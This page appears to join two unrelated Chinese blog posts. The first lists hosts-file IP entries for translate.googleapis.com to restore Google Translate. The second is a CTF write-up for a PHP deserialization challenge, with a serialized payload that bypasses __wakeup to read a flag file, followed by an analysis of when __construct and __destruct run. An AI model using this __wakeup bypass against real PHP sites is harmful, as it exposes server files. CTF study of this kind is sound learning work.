hosts是一个没有扩展名的系统文件,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址并打开对应网页;如果没有找到则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

下面看下具体过程叭(复活的是Google浏览器中的Google翻译,没有测试edge

首先找到并用记事本打开Windows下hosts文件,位置是“C:\Windows\System32\drivers\etc”。

然后将下面的IP 域名一起复制下,并在hosts文件中找个位置粘贴下来

最后按下crl键加s键保存下来就好了φ(* ̄0 ̄)

注:有的小伙伴可能遇到hosts文件打不开等情况,建议去百度搜索下电脑给出的报错信息,然后按指示操作就好啦~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
142.250.4.90 translate.googleapis.com
172.253.114.90 translate.googleapis.com
172.217.203.90 translate.googleapis.com
172.253.112.90 translate.googleapis.com
142.250.9.90 translate.googleapis.com
172.253.116.90 translate.googleapis.com
142.250.97.90 translate.googleapis.com
142.250.30.90 translate.googleapis.com
142.250.111.90 translate.googleapis.com
172.217.215.90 translate.googleapis.com
142.250.11.90 translate.googleapis.com
142.251.9.90 translate.googleapis.com
108.177.122.90 translate.googleapis.com
142.250.96.90 translate.googleapis.com
142.250.100.90 translate.googleapis.com
142.250.110.90 translate.googleapis.com
172.217.214.90 translate.googleapis.com
172.217.222.90 translate.googleapis.com
142.250.31.90 translate.googleapis.com
142.250.126.90 translate.googleapis.com
142.250.10.90 translate.googleapis.com
172.217.195.90 translate.googleapis.com
172.253.115.90 translate.googleapis.com
142.251.5.90 translate.googleapis.com
142.250.136.90 translate.googleapis.com
142.250.12.90 translate.googleapis.com
142.250.101.90 translate.googleapis.com
172.217.192.90 translate.googleapis.com
142.250.0.90 translate.googleapis.com
142.250.107.90 translate.googleapis.com
172.217.204.90 translate.googleapis.com
142.250.28.90 translate.googleapis.com
142.250.125.90 translate.googleapis.com
172.253.124.90 translate.googleapis.com
142.250.8.90 translate.googleapis.com
142.250.128.90 translate.googleapis.com
142.250.112.90 translate.googleapis.com
142.250.27.90 translate.googleapis.com
142.250.105.90 translate.googleapis.com
172.253.126.90 translate.googleapis.com
172.253.123.90 translate.googleapis.com
172.253.122.90 translate.googleapis.com
172.253.62.90 translate.googleapis.com
142.250.98.90 translate.googleapis.com
142.250.185.238 translate.googleapis.com
142.251.116.101 translate.googleapis.com
216.58.214.14 translate.googleapis.com
142.250.189.206 translate.googleapis.com
216.58.209.174 translate.googleapis.com
142.250.203.142 translate.googleapis.com
142.250.218.14 translate.googleapis.com
142.251.10.138 translate.googleapis.com
142.251.40.174 translate.googleapis.com
142.250.185.174 translate.googleapis.com
172.217.16.46 translate.googleapis.com
172.217.0.46 translate.googleapis.com
172.217.31.142 translate.googleapis.com
216.58.220.142 translate.googleapis.com
172.217.13.142 translate.googleapis.com
142.250.110.90 translate.googleapis.com
172.217.203.90 translate.googleapis.com
172.253.112.90 translate.googleapis.com

由NSSCTF-SWPUCTF-ez_ez_unserialize,引发对反序列具体详细过程以及对__construct,__destruct函数执行情况深度分析

前置知识:

1
2
3
4
5
6
7
8
9
10
11
1,php中__FILE__是什么意思,
php中__FILE__是一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名。自PHP 4.0.2版本起,它总是包含一个绝对路径。

2,__wakeup()说明,
unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法

3,__wakeup()魔术方法绕过,
php版本为PHP5<5.6.25,PHP7 < 7.0.10时,只要序列化的中的成员数大于实际成员数,即可绕过该魔法函数,比如一个ctf的类序列化后是
O:3:"ctf":1:{s:4:"flag";s:3:"111";}
把成员数"1",改为"2"即可绕过,更改之后为
O:3:"ctf":2:{s:4:"flag";s:3:"111";}

进入靶场,发现是一个反序列化题目,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}

先说下我当时的想法,就是一看到__wakeup(),八成是要绕过它的,然后危险函数是highlight_file(),只需要把里面的变量换为flag的绝对路径,然后将序列化后的字符中路径修改为靶机flag文件的绝对路径,接着再修改成员数(必须大于当前真实的成员数目),提交参数就可以了。

编写poc,

1
2
3
4
5
6
7
8
<?php
class X
{
public $x = __FILE__;

}
$a=new X();
echo(serialize($a));

运行结果为,

1
O:1:"X":1:{s:1:"x";s:37:"D:\桌面\工具\php\teacher.php";}

百度搜下linux的www文件目录一般是什么,

那么把目录修改下,最终的payload为,

1
2
3
O:1:"X":2:{s:1:"x";s:27:"/var/www/html/fllllllag.php";}
//注意目录改变后,需要将目录的长度修改为当前实际长度27(原来是37)
//因为要绕过__wakeup(),需要将成员数1修改为2(任何大于1的都可以)

提交成功,flag浮现,



写一个题目的目的不仅仅是找到正确flag得分,更重要的是从这个题目中学到了些什么知识

这个题目我只是依靠经验做出来了,但是如果让我具体分析

1,为什么要绕过__wakeup(),不绕过为什么不行?

2,为什么提交payload后不是显示的是x = __FILE__;的源码?触发__construct()函数不是会将$x赋值为当前文件件绝对路径吗?我说不出来……



所以在提交完正确的flag后,我也是想到了刚才说的两个问题,于是乎再研究了一下,现在回答下这两个问题。

先了解一下反序列化具体过程,

1
2
3
4
5
unserialize() 对单一的已序列化的变量进行操作,将其转换回 php 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。 
简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。

$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串)
$变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

通过一个例子来了解反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class user
{
public $age = 0;
public $name = '';

public function printdata()
{
echo 'user '.$this->name.' is '.$this->age.' years old. <br />';
}
}
//重建对象
$user = unserialize('O:4:"user":2:{s:3:"age";i:10;s:4:"name";s:4:"tome";}');

$user->printdata();

?>

通过源码知道,虽然没有创建类user的对象,但是反序列化之后,可以直接调用$user中的printdata()方法。那么问题来了,unserialize()函数返回的是个什么东东,为什么可以当对象使用?

在本地测试一下,

发现unserialize()函数返回值是类user的一个实例对象,其中对象里变量$age,$name的值是序列化字符串里对应的,10,tome。

简单说,不管类中变量值是什么,构造的序列化字符串里变量的值是什么,反序列化后创建的该类对象里的变量值就是什么。

上述代码运行结果如下,

验证了上述猜测。

我还有个疑问,就是__construct(),__destruct()这两个函数什么情况下被触发?以前都是看的比较专业的语言说明的,也没看太懂。

通过下面例子可以更明白两个函数被触发的情况,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestClass
{
public function __construct() {
echo "__construct()!!!";
}
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
echo "000\n";
$a = serialize($class);
echo "111\n";
$b = unserialize($a);
echo "222\n";
unset($class);

输出,

1
2
3
4
__construct()!!!000
111
222
__destruct()!!!__destruct()!!!

去掉unset()函数,再试下没有该函数,会不会触发__destruct()函数?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestClass
{
public function __construct() {
echo "__construct()!!!";
}
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
echo "000\n";
$a = serialize($class);
echo "111\n";
$b = unserialize($a);
echo "222\n";
//unset($class);

输出结果,还是一样的,

1
2
3
4
__construct()!!!000
111
222
__destruct()!!!__destruct()!!!

(1)说明__construct()会在创建对象的时候($class = new TestClass();)被触发,但是反序列化时$b = unserialize($a);,不会被触发。

为什么反序列化返回了一个对象,但是不会触发__construct()呢?下面是我的一些理解,有不正确的地方请各位大佬批评指正,

1
2
3
4
虽然有对象被创建,但是因为unserialize函数不一定返回的是对象,可返回 integer、float、string、array 或 object。
如果反序列化返回的不是一个对象,那么__construct()就不会被触发, 而integer、float、string、array这些数据类型应该是一样的。
所以反序列化返回的是一个对象时,也不会触发__construct()。
因此可以理解为什么反序列化对象字符为对象的时候,虽然有对象被创建,甚至可以调用返回对象中的函数,但是并不会触发__construct()函数

(2)说明__destruct()会在代码执行完成后被触发一次,因为在php中,程序在运行结束后,会自动的销毁对象!这时会触发destruct()函数。反序列化完成时会触发一次(我理解的是销毁对象),所以才输出两个__destruct()!!!

反序列化完成时会触发__destruct()函数一次(我理解的是销毁对象),这个怎么理解呢,直接上代码说明,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class TestClass
{
public $b;
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
$a=serialize($class);
//$b = unserialize($a);
//没有反序列化的情况下,输出__destruct()!!!
------------------------------------------------------------------------------------------------------------
<?php
class TestClass
{
public $b;
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
$a=serialize($class);
$b = unserialize($a);
//有反序列的情况下,输出__destruct()!!!__destruct()!!!


最后总的来梳理一下题目反序列化时的过程,

1
2
3
4
5
6
7
8
9
10
1,运行poc,输入序列化后的字符串  O:1:"X":1:{s:1:"x";s:37:"D:\桌面\工具\php\teacher.php";}
修改fllllllag.php文件路径为 /var/www/html/fllllllag.php ,并修改相应字符长度值为27。
提交后,在执行unserialize()函数之前,先检查类里是否有__wakeup()函数,本题中有,就会先执行该函数,
然后会把$x的值赋值为当前文件的绝对路径,我们想要的是fllllllag.php文件,于是需要绕过__wakeup()函数。

2,开始执行unserialize()函数,由于靶机源码中没有$class = new TestClass()这样的创建实体对象代码,所以这时不会触发__construct()函数(不理解的话,可以看文章前面的分析)

3,反序列化后,将传入的序列化字符串中的变量$x的值 /var/www/html/fllllllag.php 赋值给X类中的$x,

4,程序执行完毕,触发 __destruct()函数,并显示路径为$x的文件内容。

—————————————————————————–END——————————————————————————————————-